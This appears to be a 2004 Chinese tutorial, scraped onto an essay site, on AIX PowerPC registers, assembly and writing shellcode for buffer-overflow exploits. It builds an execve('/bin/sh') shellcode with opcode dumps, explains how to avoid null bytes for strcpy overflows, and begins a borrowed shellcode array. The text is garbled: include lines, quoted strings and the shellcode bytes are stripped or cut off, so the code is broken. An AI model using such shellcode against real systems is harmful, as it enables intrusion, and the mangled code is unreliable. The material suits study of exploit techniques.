AIX PowerPC体系结构及其溢出技术学习笔记
创建时间:2004-06-04 更新时间:2004-08-13 文章属性:原创
文章提交:san (san_at_xfocus.org)
整理:san@nsfocus.com 创建:2004-05-23 更新:2004-08-13
English Version: http://www.xfocus.org/documents/200408/5.html
一、 熟悉PowerPC体系及其精简指令集计算
PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,表现为5类主要的指令:
1、分支(branch)指令 2、定点(fixed-point)指令 3、浮点(floating-point)指令 4、装载和存储指令 5、处理器控制指令
PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register [FPR] 和浮点状态与控制寄存器 [Floating-Point Status and Control Register,FPSCR])和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下面主要介绍这几个常用的寄存器:
通用寄存器的用途:
r0 在函数开始(function prologs)时使用。
r1 堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。
r2 内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号。 r3 作为第一个参数和返回值。 r4-r10 函数或系统调用开始的参数。
r11 用在指针的调用和当作一些语言的环境指针。 r12 它用在异常处理和glink(动态连接器)代码。 r13 保留作为系统线程ID。 r14-r31 作为本地变量,非易失性。
专用寄存器的用途:
lr 链接寄存器,它用来存放函数调用结束处的返回地址。
ctr 计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。 xer 定点异常寄存器,存放整数运算操作的进位以及溢出信息。 msr 机器状态寄存器,用来配置微处理器的设定。
cr 条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机制。
寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。
寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。
条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。
在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。在执行系统调用指令之前有两个额外的先决条件:LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorc cr6, cr6, cr6指令。
二、学习AIX PowerPC汇编
由于对AIX PowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。二进制的gcc可以从http://aixpdslib.seas.ucla.edu/下载到。先写一个最小的C程序:
/* setuid.c *
* Learn AIX PowerPC assembly */
#include
setuid(0); }
用gcc的-S选项编译一下:
-bash-2.05b$ gcc -S setuid.c
在当前目录得到setuid.s:
.file \ .toc
.csect .text[PR] .align 2 .globl main .globl .main .csect main[DS] main:
.long .main, TOC[tc0], 0 .csect .text[PR] .main:
.extern __mulh .extern __mull .extern __divss .extern __divus .extern __quoss .extern __quous mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-72(1) mr 31,1 li 3,0 bl .setuid nop mr 3,0 lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr LT..main: .long 0
.byte 0,0,32,97,128,1,0,1 .long LT..main-.main .short 4 .byte \ .byte 31 .align 2 _section_.text:
.csect .data[RW],3 .long _section_.text
经过精简,发现如下这样的格式就足够了:
.globl .main
.csect .text[PR] .main:
mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-72(1) mr 31,1 li 3,0 bl .setuid nop mr 3,0 lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr
三、学习AIX PowerPC的shellcode
B-r00t的PowerPC/OS X (Darwin) Shellcode Assembly写的非常通俗易懂,只可惜是OS X系统,不过现在我们也可以依样画葫芦了:
-bash-2.05b$ cat simple_execve.s .globl .main .csect .text[PR] .main:
xor. %r5, %r5, %r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志
bnel .main # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
mflr %r3 # 等价于mfspr r3, 8,把lr寄存器的值拷贝到r3。这里r3寄存器的值就是这条指令的地址
addi %r3, %r3, 32 # 上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址
stw %r3, -8(%r1) # argv[0] = string 把r3写入堆栈 stw %r5, -4(%r1) # argv[1] = NULL 把0写入堆栈 subi %r4, %r1, 8 # r4指向argv[]
li %r2, 5 # AIX 5.1的execve中断号是5
crorc %cr6, %cr6, %cr6 # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。这条指令确保是CR指令。
svca 0 # execve(r3, r4, r5)
string: # execve(path, argv[], NULL) .asciz \
-bash-2.05b$ gcc -o simple_execve simple_execve.s -bash-2.05b$ ./simple_execve $
正确执行了execve,用objdump查看一下它的opcode:
-bash-2.05b$ objdump -d simple_execve|more ...
0000000010000544 <.main>:
10000544: 7c a5 2a 79 xor. r5,r5,r5 10000548: 40 82 ff fd bnel 10000544 <.main> 1000054c: 7c 68 02 a6 mflr r3 10000550: 38 63 00 20 cal r3,32(r3) 10000554: 90 61 ff f8 st r3,-8(r1) 10000558: 90 a1 ff fc st r5,-4(r1) 1000055c: 38 81 ff f8 cal r4,-8(r1) 10000560: 38 40 00 05 lil r2,5 10000564: 4c c6 33 42 crorc 6,6,6 10000568: 44 00 00 02 svca 0
1000056c: 2f 62 69 6e cmpi 6,r2,26990 10000570: 2f 73 68 00 cmpi 6,r19,26624 ...
可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:
/* shellcode.c *
* ripped from lsd */
char shellcode[] = /* 12*4+8 bytes */ \ \ \ \ \ \ \ \ \ \
百度搜索“77cn”或“免费范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读,免费范文网,提供经典小说综合文库AIX PowerPC体系结构及其溢出技术学习笔记在线全文阅读。
相关推荐: